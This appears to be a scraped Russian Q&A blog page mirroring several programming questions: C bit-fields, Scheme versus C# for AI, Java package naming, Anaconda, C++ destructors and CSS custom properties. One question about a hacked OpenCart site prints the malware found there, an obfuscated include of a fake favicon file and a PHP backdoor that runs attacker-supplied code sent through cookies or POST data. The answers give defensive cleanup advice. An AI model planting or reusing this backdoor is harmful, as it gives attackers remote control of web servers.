Страницы

Поиск по вопросам

вторник, 26 ноября 2019 г.

Двоеточие в полях структуры


Объясните, пожалуйста, как тут создается структура? Что делает знак двоеточие :?

/**
 * @brief Bit-field structure of the state of the packet reception
 */
typedef struct{
    uint32_t Length         :16;        /*!< The number of bytes in the packet including header and CRC. */
    uint32_t PF_ERR         :1;         /*!< A sign package PAUSE. */
    uint32_t CF_ERR         :1;         /*!< A sign Management Pack (filtering by MAC and special tags in the field length - 13.14 - octets). */
    uint32_t LF_ERR         :1;         /*!< A sign excess packet length 1518 octets. */
    uint32_t SF_ERR         :1;         /*!< A sign of lack of packet length 64 octets. */
    uint32_t LEN_ERR        :1;         /*!< A sign mismatch between the actual length and the length specified in the length field - 13.14 octets. */
    uint32_t DN_ERR         :1;         /*!< A sign bit of the packet is not a multiple of 8. */
    uint32_t CRC_ERR        :1;         /*!< A sign mismatch packet CRC. */
    uint32_t SMB_ERR        :1;         /*!< A sign of the presence in the packet error nibbles. */
    uint32_t MCA            :1;         /*!< A sign group package (MAC matches HASH). */
    uint32_t BCA            :1;         /*!< A sign of the broadcast packet (MA
= FF:FF:FF:FF:FF:FF). */
    uint32_t UCA            :1;         /*!< A sign individual package (MAC corresponds to the set). */
}ETH_StatusPacketReceptionBitFileds;

    


Ответы

Ответ 1



В названии самой структуры ETH_StatusPacketReceptionBitFileds присутствует словосочетани BitFileds. Эта структура задает битовые поля, то есть более компактную форму запис целочисленных членов данных структуры, так как заранее известно, что эти члены данных будут хранить ограниченные значения, и для их представления достаточно выделить несколько битов. Например, вы могли бы определить эту структуру следующим образом: typedef struct{ uint32_t Length; /*!< The number of bytes in the packet including header and CRC. */ uint32_t PF_ERR; /*!< A sign package PAUSE. */ //... }ETH_StatusPacketReceptionBitFileds; Но в таком случае каждый член данных структуры занимал бы память в 32 бита, или байта. А если известно, например, что член данных структуры PF_ERR может принимать тольк два значения 0 или 1, то будет расточительно хранить эти значения в члене данных, имеющи 32 бита, так как для представления 0 или 1 достаточно всего лишь одного бита. Поэтому структура определяется как структура с битовыми полями с заданным количеством битов. Эти битовые поля упаковываются компилятором в объекты, как указано в объявлении битовых полей структуры, типа uint32_t. То есть в принципе в одном объекте данного типа может быть упаковано 32 битовых поля размером в 1 бит. Это экономит память, выделяемую под объекты структуры. Из стандарта C++ (9.6 Bit-fields [class.bit]) 1 A member-declarator of the form identifieropt attribute-specifier-seqopt: constant-expression specifies a bit-field; its length is set off from the bit-field name by a colon.,,, Bit-fields are packed into some addressable allocation unit.

Ответ 2



После двоеточия для члена структуры задается размер этого члена в битах. Т.е. тако член является битовым полем. В основном это используется для упаковки данных и при этом сохранения удобного доступа на изменение и чтения значения. При этом для битового поля запрещена операция взятия адреса. Собственно в комментарии к структуре уже содержится ответ: Bit-field structure ...

Чего не может C# в отличие от Scheme для работы с ИИ? [закрыт]


Почему для работ в области искусственного интеллекта часто выбирают какой-нибуд
из диалектов Лиспа или Пролог, что в них такого, чего нельзя сделать на C#? Интересую
именно сравнение возможностей (что можно сделать в одном языке программирования, но невозможно или проблематично в другом) языка, а не готовых алгоритмов/методов или их количества.

upd: Нашел проект IronScheme, зеркало Github


  IronScheme implements over 99% of the R6RS specification and specified behavior.


пример работы из C#, документация
    


Ответы

Ответ 1



Вполне законно вопрос поставить шире: сравнение возможностей процедурного, функциональног и логического программирования. Вопрос очень широкий и требует как минимум хорошей академической статьи. В принципе, возможности большинства языков всех этих групп достаточно близки. Вопро только в простоте и легкости реализации тех или иных задач. Думаю, все, что можно сделат на Лиспе или Прологе, вполне возможно реализовать и на C#. Только там, где на этих языках та или иная операция будет занимать пару строчек, на процедурном языке может занять пару десятков.

Ответ 2



Scheme - изящный и простой язык, к тому-же близость синтаксиса к соответствующем AST Tree позволяет программисту интуитивно генерировать необходимые языки с помощь макросов. Вообще, для Scheme естественно, что код - это данные. Это полезно для разработчиков всевозможного матана, в тч специфичного для AI (обработка и генерация графов - сильное место любого Lisp), но также и интернет-магазинов.... Есть в Scheme принципиально отсутствующие в C# сущности, например: продолжения (Continuations) как объекты первого класса. Это фактически значит, что состояние всей программы можно сохранять и восстанавливать на уровне языка. Scheme - мультипарадигменный язык, его философия не навязывает ООП, равно как чисто-функционально или реактивное программирование. Экосистема Scheme поддерживает развитые средства для любых, в т.ч. и эксперементальных методик. Хотя не существует единого репозитария Scheme-кода и стандарта модульности, зат развита теория и добрая традиция переиспользования функций, построенных (возможно) в разных стилях. Есть и база качественного кода на Scheme. Скажем, их даже несколько. REPL - традиционный для LISP способ коммуникации с интерпретатором, "выращивания окружений. Изменения вносятся в непрерывно работающую программу - подобным образом математик работают с Maxima и её аналогами. Для некоторых современных языков, того-же С#, совершенно необходимо специальное IDE. Однако есть и мнение, что IDE в целом усложняет процесс разработки, во всяком случае - итеративный процесс разработки очевидно помогает разгрузить оперативную память программиста. Существуют компиляторы и интерпретаторы Scheme для любой архитектуры - ARM, Webkit/ECMAScript .NET, Java... Благодаря простоте, Scheme - в мире, один из самых портированых языков. С недавних пор, он выбран стандартным языком расширения GNU, и на этой платформе построен дистрибутив GUIX с демоном инициализации Shepherd (замена init и systemd).

Ответ 3



Есть множество языков программирования. Вот для алгоритмов или ИИ нужна спец. подготовка А специалистов таких не много. Теперь выберите из этого числа людей тех, кто на профессионально уровне знает тот же С#. Вот и получается что тем, кто занимается ИИ, проще написать (())О() в пару строк - и все готово. Тут тебе и строгой типизации нет, и ООП учить (почти) не надо. А вообще была бы возможность, выучил бы F#. У меня даже книга есть по нем. Но язык мне действительно показался сложноватым.

Ответ 4



Наверное, то, что сама идеология Лисп, в отличие от идеологии С#, более подходи для написания самомодифицирующегося кода - кода, анализирующего и модифицирующего самого себя. То есть Лисп свой собственный исходник может обрабатывать как данные.

Как удалить вредоносный код из сайта


Здравствуйте. Недавно начал замечать, что при открытии моего сайта идет редирек
на какой то рекламный сайт. Начал смотреть свой код, в index.php нашел строку такого вида:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/


когда убрал лишнее, получился путь к какому то файлу:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico


Нашел этот файл, открываю его, а там:



Ну ладно думаю, код удалил из index.php, файл тоже.. на следующий день появился новы
код в этом же стиле и новый файл, только в другой папке. Как очистить сайт от этой заразы?

Движок: Опенкарт 2.1.0.1

Из модулей установлены только: Marketplace, Ajax Product Page Loader, [OCJazz] SeoPro, uLogin - панель.
Модификаторы: Local copy OCMOD by iSenseLabs, Easy Blog Simple for oc2011+.

Пароль к хостингу изменил, атрибуты для файла index.php сделал "только чтение", не помогло. Возможно кто то сталкивался с таким. Спасибо что дочитали до конца!

UPD: Вирус до сих пор остался, чистил уже много раз. Решил посмотреть что кроетс
внутри вредоносного кода, прошу помощи тех кто сможет понять где дыра из кода ниже, так как сам знаком с PHP не более года.

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}


UPD 2:
Посмотрел только что логи по одному из сайтов и вот что там


    


Ответы

Ответ 1



Начнем с простых истин. Вирус - это какая-то программа, которая где-то находитс и делает что-то такое, что приводит к ее размножению. Каким-то образом вирус попадает к вам на сервер. Это может быть дырка в используемо софте на сервере (и далеко не факт, что виноват Опенкарт, тем более, совершенно не важно лицензионные копии ли там используются), софте хостера, вашем хосте, откуда вы управляете сайтом. И используя эту дырку, вредоносный код получает доступ туда, куда по идее, иметь доступ не должен. И, получив доступ, вирус, как правило, размножается дальше. Ему не важно, где и какими лицензиями вы работаете, сколько сайтов хостите и т.д., он будет рассеивать себя везде, куда сможет дотянуться. Поэтому если у вас только 1 дырявый файлик, то под угрозой все, что есть на сервере вместе взятое. Как быть: починить последствия, сделать бекап, если часто повторяется - накатыват бекап автоматически, хоть каждый час. В деле поиска измененных файлов хорошую помощь сыграют утилиты find, grep, mc. Но это не лечение болезни, а лечение симптома. Как ловить: для начала попробовать локализовать проблему. Выключить на сайте все кроме, скажем, веб-сервера. Т.е. если есть ФТП-сервер - затушить его так, что даже в не сможете войти, аналогично с почтой, ssh, прочими сервисами, что слушают не 127.0.0.1. Если чудеса продолжаются - тушим веб-сервер (сайт будет лежать), но включаем FTP и все остальное и снова ждем чудес. Если и после этого чудеса продолжаются, то скорее всего виноват или кривой хостер, или у вас комплексная проблема. Обнаружив источник проблемы, пытаемся локализовать проблему более точно. Если чудес при включенном веб-сервере, то настраиваем веб-сервер на ведение подробнейших лого и пишем их куда-то в нестандартное место, а лучше сразу сливать на удаленный хост. Когда начнутся чудеса, то смотреть логи, где-то там будет что-то интересное и необычное. Вот это необычное и есть дырка. Если дырка за пределами веб-сервера, то можно попробовать использовать тяжелую артилери вроде tcpdump, рано или поздно животинка попадется. Тут главное запастись большим объемом диска. Если и тут животинка не попадется, то вас имеет хостер, ну или где-то на предыдущих пунктах она прошла незамеченной. А найдя дырку, уже известно что исправлять/обновлять и никакого гадания на открыто гуще. Как правило, хорошим тоном будет сообщить авторам о дырке в их софте, они эт постараются починить (если авторы являются нашими соотечественниками, то кроме хамства и угроз в ответ ничего не получите) в кратчайшие сроки и выслать вам исправленную версию. Конечно, такое сафари плохо совместимо с нормальной работой сайта, но это весел и даст результат.

Ответ 2



Вообще, причиной всего этого является 100% не этот найденный вами файл. С подобным скриптами сталкивался не раз, но на Wordpress (отчего его и недолюбливаю). Суть та примерно такая - один раз находится дырка в вашем сайте (скорее всего просто подобрал ftp пароль), затем заливается обычный файл, предоставляющий доступ к редактировани файлов (есть какой-то легковесный редактор файлов, там буквально 40-50 строчек, даже пароля не просит), а затем уже все "грязные" скрипты заливаются через него, так что искать вам надо именно такой файл. Открывать AccessLog и смотреть к каким файлам обращаются. Антивирусы хостингов (тем более Касперского, т.к. он не ориентирован на php) этот файл не распознают как вирусный, т.к. он вполне логичен - т.к. там никаких кракозябр, preg_replace и прочего.

Ответ 3



Думаю, первое, что нужно сделать на время ремонта - это просканировать сканером уязвимости, хотя бы тулзой Nikto. https://www.youtube.com/watch?v=U9FQlZDtPV4 Далее сменить все ключи, абсолютно все управляющие ключи. Написать хостеру о проблем если хостинг, если VDS просканировань систему и понять насколько все плохо. Если руткит или червь, менять сервер. В этом помогут логи, и команды grep,find и top. После переезда и закрытия сайта начать чистить код, в идеале сделать образ и снимо состояния, провести скан уязвимостей, портировать образ на локаль и попробовать вытащит данные, после чистки закрыть уязвимость которую выдал CVE. Все это нужно сделать обязательно. Так как у вас простая проблема, вы чистите вирус, но не закрываете уязвимость. После того, как вы проделаете все это, советую поставить IDS/IPS. Самая известная: https://www.mcafee.com/ru/products/network-security-platform.aspx. Эта система позволит вам отследить, сделал ли это инсайдер. Так же советую регулярно делать обновления систем. Если система свежая, то советую написать об уязвимости её авторам.

Ответ 4



Пока лучшая, на мой взгляд, статья по лечению на хабре https://habrahabr.ru/post/188878/ С вероятностью 90% это заражение на уровне эксплуатации известных дырок в CMS. Есл CMS позволяет то лучше "экспорт всего" -> "новая установка cms со всеми патчами безопасности" -> "импорт всего". Но к сожалению такое редко возможно. Обычно я делаю так: Получение ssh доступа Смена всех остальных доступов (и временный бан всех привелигированых пользователей) Бекап логов и утягивание их к себе для анализа Весь сайт бекапим (обязательно что бы сохранялись даты и права) и желательно запихиваем в GIT Поиск shell сканерами и антивирусами в автоматическом режиме (только список shell или зараженных файлов) Поиск подозреваемых на shell по статье на хабре (только список) Поиск менявшихся файлов по дате, по логам (get запросы к shell остаются - надо искать по доступу к ним и по ip туда ходившим) Поиск различий между чистой CMS (давними копиями) и текущей версией Поиск точки заражения (к этому времени у нас полно информации и сделать это проще) Чистка с проверкой и фиксацией в GIT (или да же замена ядра CMS на не зараженное) Исправление уязвимости (обновлением CMS или bug fix) Правильная настройка логирования, прав на файлы и папки, бекапы, обновление ПО (если vps или железка), настройка автоматического сканера или антивируса. Смена всех доступов. Наблюдение за пациентом в течении некоторого времени (за 1 раз могли не все вычистить, или не было логов или не все нашли).

Почему пакеты в java принято называть в обратную сторону доменного имени?


То что это делать надо именно так, везде написано. Но почему люди договорились называть именно так? Может быть в этом есть какое-то неочевидное удобство?
    


Ответы

Ответ 1



Уникальные имена в глобальном масштабе исключают конфликты имен между библиотекам из разных источников. Вместо создания новой центральной базы данных глобальных имен используется реестр доменных имен. Java Language Specification (JLS): The suggested convention for generating unique package names is merely a way t piggyback a package naming convention on top of an existing, widely known unique name registry instead of having to create a separate registry for package names. Представь, что у тебя есть например четыре важных пакета и ты напишешь их так: package controller.mysite.org; package model.mysite.org; package service.mysite.org; package dao.mysite.org; Это означает, что существует основной пакет, подраздел которого относится к твое компании (имя твоего ресурса), а подраздел этого пакета называется пакетом org, который ты фактически используешь и он есть уникальный. Но если написать так: package org.mysite.controller; package org.mysite.model; package org.mysite.service; package org.mysite.dao; Эта запись имеет больший смысл. Из всех пакетов из организаций (org) ты, смотриш на имя своей компании, и у нее есть четыре подпакета: controller, model, service, dao.

Ответ 2



Есть, хотя и довольно очевидное, оно неплохо изложено в документации к Java: Компании используют в начале имён своих пакетов своё развёрнутое доменное имя например com.example.mypackage, означающий пакет mypackage, созданный программистом из example.com. Коллизии между пакетами в пределах одной компании должны разрешаться внутри само компании, например добавлением к доменному имени компании региона или названия проекта, на манер com.example.region.mypackage. В общем, снижает вероятность коллизий между именами пакетов. А когда они всё-таки случаются, минимизируют ущерб, количество и удалённость вовлечённых сторон. Разумеется, никто не заставляет этим конвенциям следовать. Но сами разработчики в первую очередь заинтересованы в том, чтобы их пакеты не конфликтовали с чужими.

Ответ 3



Имена пакетов - это структура папок. Именование идет от общего к частному: у региона имеются компании, у компаний - подразделения, у них проекты, в проектах классы и тд. То есть, корневая папка объеденяет общий домен, в которой "сложены" компании, в папке каждой компании - ее проекты ... это наиболее логичная структура

Что такое Anaconda для Python?


Что такое Anaconda ?


Какие задачи она позволяет решать, и почему нельзя без нее обойтись?
Стоит ли её ставить новичку параллельно с установленными Python`ами 32 + 64.
Чем она может помочь? Если можно на доступном языке для совсем начинающего. 

    


Ответы

Ответ 1



В моем представлении новичка: Anaсonda это: Включает предустановленный Python 2.7 , 3.4. 3.5 +-150 предустановленных библиотек, и более 200-300 готовых к "легкой" установке библиотек командой conda install name_lib Включает в себя IDLE Spider 2 В каких случаях я нашел применение для себя: Писал код на Ubuntu, там с установкой библиотек не было проблем. Решив скомпилироват под Windows, начал устанавливать библиотеки и естественно натыкался на все камни\грабли В отличии от Ubuntu в Windows приходится просто ужасно. Установив Anaconda я с легкостью запустил весь код написанный на Ubuntu, доставив одной-двумя командами недостающие библиотеки (через Anaconda prompt). Поэтому думаю новичкам Анаконда очень пригодиться, и сэкономит вам пару дней жизни. Список поддерживаемых пакетов (библиотек) и их версии. При этом учтите, что там по порядку идут 3 версии от Python 2.7 - 3.5). Установка Анаконды.

Ответ 2



Pip - стандартный менеджер пакетов питона, позволяет устанавливать бинарные whee сборки пакетов. Если их нет (ни в самом Pip, ни где-то еще), Pip компилирует пакеты локально. При этом могут возникнуть проблемы при сложных зависимостях, когда требуются сторонние не питон библиотеки. В этом случае удобно использовать Conda. Команды Pip: pip search package_name - поиск пакета через pip pip install package_name - установка пакета через pip Conda - менеджер пакетов питона, позволяет устанавливать уже скомпилированные пакет (может работать и в режиме компиляции пакетов перед установкой). Также Conda - менеджер окружений системы, позволяет создавать окружения с разными версиями чего угодно (библиотеки C, низкоуровневые библиотеки и т.д.). Conda бывает в двух версиях: Анаконда - более 150 предустановленных пакетов (около 3 Гб) + более 250 пакетов готовых к установке командой conda install package_name Миниконда - более 400 пакетов, готовых к установке командой conda install package_name и Анаконда и Миниконда включают: conda интерпретатор питона pip Команды Conda: conda search package_name - поиск пакета через conda conda install package_name - установка пакета через conda conda install - установка всего стандартного набора пакетов - более 150, около 3 Гб conda list - список установленных пакетов conda update conda - обновление conda conda clean -t - удаление кеша - архивов .tar.bz2, которые могут занимать много места и не нужны

Как работает деструктор


Объясните, что именно освобождает память при вызове деструктора для объекта, ведь по умолчанию он имеет пустое тело.
    


Ответы

Ответ 1



Формально деструктор не имеет никакого отношения к освобождению памяти "своего" объекта Освобождение памяти делается внешним кодом, который и вызывает деструктор перед освобождением. Поэтому с этой точки зрения ваш вопрос несколько бессмыслен. Деструктор - специальная функция. Даже если он имеет пустое тело, совсем не означает что "ничего не делает". Например, деструктор всегда неявно вызывает деструкторы подобъектов данного класса, даже если у него внешне "пустое" тело. Понятно, что деструктор может быть ответственен за явное освобождение посторонни ресурсов, которыми напрямую владеет ваш объект (в том числе память). Но в этом случае и тело деструктора не будет пустым. В "традиционных" реализациях, как ни странно, когда деструктор виртуален, функци освобождения динамической памяти объекта зачастую неявно вызывается изнутри деструктор (а не наружным кодом). Такой трюк необходим для того, чтобы обеспечить правильное поведение перегруженного operator delete для класса (если таковой имеется). Но это уже внутренние детали реализации. Третий пункт ссылается на следующую ситуацию. В языке С++ абстрактный алгоритм работы оператора delete сводится к последовательности из двух шагов: Вызов правильного деструктора объекта Вызов правильной функции освобождения "сырой" памяти operator delete(void *). Функция operator delete(void *), как известно, может замещаться/перегружаться пользователем Разрешается как замещать глобальный ::operator delete(void *), так и перегружать статическу функцию operator delete(void *) в конкретных классах. При этом спецификация языка требует, чтобы выбор конкретного operator delete(void *) делался так, как будто его поиск (name lookup) делался из деструктора удаляемого объекта. Например #include struct B { virtual ~B() { std::cout << "B::~B" << std::endl; } void operator delete(void *p) { std::cout << "B::operator delete" << std::endl; ::operator delete(p); } }; struct D : B { virtual ~D() { std::cout << "D::~D" << std::endl; } void operator delete(void *p) { std::cout << "D::operator delete" << std::endl; ::operator delete(p); } }; int main() { B* pb = new B; B* pd = new D; delete pb; delete pd; } в таком коде при выполнении delete pb после выполнения деструктора B::~B должен вызватьс B::operator delete, а при выполнении delete pd после выполнения деструктора D::~D долже вызваться D::operator delete. Другими словами, несмотря на то, что функция operator delete всегда является статическим членом класса, она должна вести себя фактически как виртуальная (!) функция. Для того, чтобы удовлетворить этому требованию языка, большинство реализаций просто-напрост переносят вызов правильного operator delete внутрь деструктора. Таким образом требуемая "виртуальность" функции operator delete достигается бесплатно, за счет виртуальности деструктора. При этом понятно, что operator delete(void *) нужно вызвать только для полных объектов размещенных в динамической памяти, а для остальных объектов - не нужно (т.е. нельзя) Чтобы принять это во внимание, компиляторы снабжают деструктор неявным булевским параметром, говорящим деструктору, надо ли вызывать operator delete. Таким образом в вышеприведенном примере деструкторы на самом деле будут иметь следующий вид B::~B(bool call_delete) // неявный параметр { std::cout << "B::~B" << std::endl; if (call_delete) // неявно B::operator delete(this); // неявно } ~D::D(bool call_delete) // неявный параметр { std::cout << "D::~D" << std::endl; B::~B(false); // неявно if (call_delete) // неявно D::operator delete(this); // неявно } Выражения delete pb и delete pd в такой ситуации превращаются просто в виртуальные вызовы pb->~B(true) и pd->~B(true). Первое попадает в B::~B, второе - в D::~D. Компилятор GCC, кстати, в более ранних версиях реализовывал этот подход именно так как описано выше - через скрытый булевский параметр, а в современных версиях этот же поход он реализует через генерацию двух отдельных деструкторов.

Ответ 2



Стандарт языка грантирует, что после тела деструктора (даже пустого) память будет освобождена. Автоматом.

Псевдокласс :root и работа с ним


Сегодня случайно наткнулся на примеры работы с псевдоклассом :root. Сфера применени
достаточно широкая. Хотелось бы услышать мнение тех, кто пользовался или пользуется
Реальный опыт эксплуатации, а не статейный материал. Подойдет ли для персонализации проекта, выбора основного цвета, фона и т.д.? Как дела с валидацией, скоростью и прочим? Можно ли сократить количество стилей с его помощью?

Это просто пример:



:root {
  --main-color: #9BC53D;
  --secondary-color: #EBFFFA;
}
body {
  margin: 0;
  padding: 0;
}
div {
  position: absolute;
  display: flex;
  justify-content: center;
  align-items: center;
  right: 20%;
  top: 20%;
  left: 20%;
  bottom: 20%;
  text-align: center;
  background: var(--main-color);
  color: var(--secondary-color);
}
I am an example!
Больше примеров можно найти тут.


Ответы

Ответ 1



:root не делает ничего интересного. Его фишка в том, что он может ссылаться на любо корневой элемент. В HTML-файле это будет html, в SVG-файле svg, в XML-файле любой его корневой элемент. Но ведь мы обычно пишем стили для HTML (ну или для SVG) и мы точно знаем, какой те у нас корневой. Вот честно, мне сложно представить, чтобы мы один и тот же CSS-файл подключали одновременно к HTML и к SVG, да ещё и хотели одинаковые стили применить к их корневым элементам (но если всё-таки да, то этот псевдокласс для вас!). Так что считаю, что его вполне можно заменить селектором по тегу. Ну а если стилизуются разные XML'ки, то он вполне может быть полезен. Хотя лично я на практике не встречал необходимости стилизовать XML.

Ответ 2



Данный метод очень хорош. С помощью него можно удобно изменять стили массово. К примеру если у вас указан один и тот же цвет в нескольких стилях, то для того, что бы его поменять не нужно все перерывать. :root { --color: red; } body { margin: 0; padding: 0; } div { color: var(--color); } p { color: var(--color); } span { color: var(--color); }
Один

Два

Три По скорости ничего не могу сказать. CSS-переменные работают так же быстро, как остальные функции. По крайней мере по временной шкале браузера. Но всё же есть отзывы, что затормаживает на несколько миллисекунд. Но самая большая проблема в том, что CSS-переменные начали использоваться совсе недавно. Их не поддерживают большинство "отсталых" и почти все старые версии любых браузеров. Их не поддерживает IE, Edge, Yandex (хоть и создан на Chromium) и несколько других. Вывод мой такой: CSS-переменные нужно использовать, пока что, только в мелких разработках, для тестирования что бы было удобно потом редактировать, а в крупных проектах лучше удержаться от них Надеюсь, в будущем его будут поддерживать все браузера. Но я в любом случае не советовал бы их использовать и в будущем, так как у большинства до сих пор стоят старые версии браузеров и кто его знает, как они будет отображаться (Вспомним vw и vh, которые в разных браузерах означают разные размера).

Ответ 3



Итак, попробуем разобраться немного с некоторыми возможностями и минусами. Начать стоит именно с того, что поддержка сейчас находится на очень низком уровне Это как раз тот случай, когда некоторые браузеры вовсе не поддерживают данный псевдокласс, а значит и полноценное использование ставится под сомнение. Возможно именно из-за этого у него и нет сейчас особой популярности. Варианты использования: Самый простой пример конечно же есть в самом вопросе: :root { --main-color: #06c; --accent-color: #006; } #foo h1 { color: var(--main-color); } Задав стандартные цвета, можно использовать их во всем документе. При этом, данны способ отлично подойдет для персонализации проектов, так как изменяя одно значение, можно изменить внешний вид всей страницы. Этим же способом можно экономить и количество символов, указывая длинные стили, которые часто повторяются в документе. Например, градиент: :root { --main-color: #c06; --accent-background: linear-gradient(to top, var(--main-color), white); } html, body { padding: 0; margin: 0; height: 100%; background: var(--accent-background) no-repeat; } При этом и значения в самом градиенте изменятся вместе с основным цветом. Подойдет данный псевдокласс и для работы с разными языками: :root, :root:lang(en) {--external-link: "Английский"} :root:lang(de) {--external-link: "Немецкий"} a[href^="http"]::after {content: var(--external-link) } Так же значения из CSS можно использовать и в JS. //CSS :root { --color: blue; --new-color: green; } //JS function changeDocColor() { elem.style.setProperty('--color', 'var(--new-color)'); } Другими словами, сфера применения может быть достаточно широкой. Ниже представлен пример из данного источника, в котором наглядно показана связь между элементами и различными стилями. 'use strict'; // Auxiliary method. Retrieves and sanitises the value of a custom property. var getVariable = function(styles, propertyName) { return String(styles.getPropertyValue(propertyName)).trim(); }; // Auxiliary method. Sets the value of a custom property at the document level. var setDocumentVariable = function(propertyName, value) { document.documentElement.style.setProperty(propertyName, value); }; // Sets the document color scheme to the color scheme of the clicked element. // This illustrates how it's easy to make a change affecting a large number of // elements by simply changing a few custom properties. var chooseDefaultColor = function(event) { // Get the styles for the event target (the clicked button), so we can see // what its custom properties are set to. var styles = getComputedStyle(event.target); // Get the values for the button's colours... var primary = getVariable(styles, '--primary-color'); var text = getVariable(styles, '--primary-color-text'); // ... and apply them to the document. setDocumentVariable('--primary-color', primary); setDocumentVariable('--primary-color-text', text); }; // Initialise page controls. window.addEventListener('load', function() { // Get the styles for the document. // This is where we've chosen to store all the global variables we use. var styles = getComputedStyle(document.documentElement); var quantum = document.getElementById('quantum'); var gutter = document.getElementById('gutter'); var columns = document.getElementById('columns'); // Set up event handlers for buttons. var buttons = document.querySelectorAll('.picker-button'); for (var i = 0; i < buttons.length; i++) { buttons[i].addEventListener('click', chooseDefaultColor); } // Retrieve initial custom property values and update controls. quantum.value = getVariable(styles, '--spacing-unit').replace('px', ''); gutter.value = getVariable(styles, '--margins'); columns.value = getVariable(styles, '--grid-columns'); // Set up event handlers for having the sliders update the custom properties // at the document level. quantum.addEventListener('input', function() { setDocumentVariable('--spacing-unit', quantum.value + 'px'); }); gutter.addEventListener('input', function() { setDocumentVariable('--margins', gutter.value); }); columns.addEventListener('input', function() { setDocumentVariable('--grid-columns', columns.value); }); }); :root { /*************************** Page-wide variables ****************************/ /* Base spacing unit. */ --spacing-unit: 6px; /* Margin size. No unit, because it's a multiple of the spacing unit. */ --margins: 2; /* Colors. */ --primary-color: #5E35B1; --primary-color-text: #FFF; /* Number of columns to show. */ --grid-columns: 3; /***************************** Calculated values ****************************/ /* We don't use calc here because we don't want to resolve the values yet. You can think of these as simple textual replacements. */ /* The size of the margin around the card grid. */ --margin-size: (var(--margins) * 2); /* How much internal padding each cell should have */ --cell-padding: (4 * var(--spacing-unit)); /* How big the space between cells should be */ --grid-gutter: (var(--margins) * var(--spacing-unit)); /* How big the space should be around the grid */ --grid-margin: (var(--margin-size) * var(--spacing-unit)); /* Calculated cell margin */ --cell-margin: (var(--grid-gutter) / 2); } .header { display: block; position: relative; height: calc(28 * var(--spacing-unit)); /* Use a default value for the background color, by passing it in as the 2nd parameter to var(). We don't strictly need it in this case, since we've defined it at the document level, but this illustrates common usage. */ background-color: var(--primary-color, #5E35B1); padding-left: calc(4 * var(--spacing-unit)); transition: background-color 1s; } .title { position: relative; top: calc(8 * var(--spacing-unit)); font-family: 'Roboto', 'Helvetica', sans-serif; font-size: calc(4 * var(--spacing-unit)); font-weight: 400; color: var(--primary-color-text); transition: color 1s; } .shade { display: block; box-sizing: border-box; position: absolute; padding-left: calc(1 * var(--spacing-unit)); bottom: 0; left: 0; width: 100%; height: calc(8 * var(--spacing-unit)); background-color: rgba(0, 0, 0, 0.2); } .grid { /* Resets */ margin: 0; border: 0; padding: 0; display: flex; flex-flow: row wrap; align-items: stretch; padding: calc(var(--grid-margin) - var(--cell-margin)); background-color: var(--grid-color); } .cell { font-family: 'Roboto', 'Helvetica', sans-serif; color: rgb(97, 97, 97); display: flex; flex-direction: column; box-sizing: border-box; margin: calc(var(--cell-margin)); background-color: var(--cell-color); width: calc(100% / var(--grid-columns) - var(--grid-gutter)); box-shadow: 0 2px 2px 0 rgba(0,0,0,.14), 0 3px 1px -2px rgba(0,0,0,.2), 0 1px 5px 0 rgba(0,0,0,.12); } .cell-title { font-size: calc(3 * var(--spacing-unit)); } .cell-header { display: flex; align-items: center; color: var(--primary-color-text); box-sizing: border-box; background-color: var(--primary-color); padding-left: calc(var(--cell-padding)); height: calc(12 * var(--spacing-unit)); } .cell-content { font-size: calc(2.5 * var(--spacing-unit)); padding: calc(var(--cell-padding)); flex-grow: 1; } .cell-actions { padding: calc(2 * var(--spacing-unit)); border-top: 1px solid rgba(0, 0, 0, 0.12); } .picker-button { position: relative; font-family: 'Roboto', 'Helvetica', sans-serif; font-size: calc(2 * var(--spacing-unit)); display: inline-block; box-sizing: border-box; border: none; border-radius: 2px; color: var(--primary-color); text-decoration: none; padding: calc(2 * var(--spacing-unit)); text-decoration: none; background: transparent; cursor: pointer; overflow: hidden; text-transform: uppercase; transition: background-color 0.2s; } .picker-button:focus { outline: none; } .picker-button:active { background-color: #DDD; } .controls { display: flex; flex-direction: column; position: absolute; top: 4px; 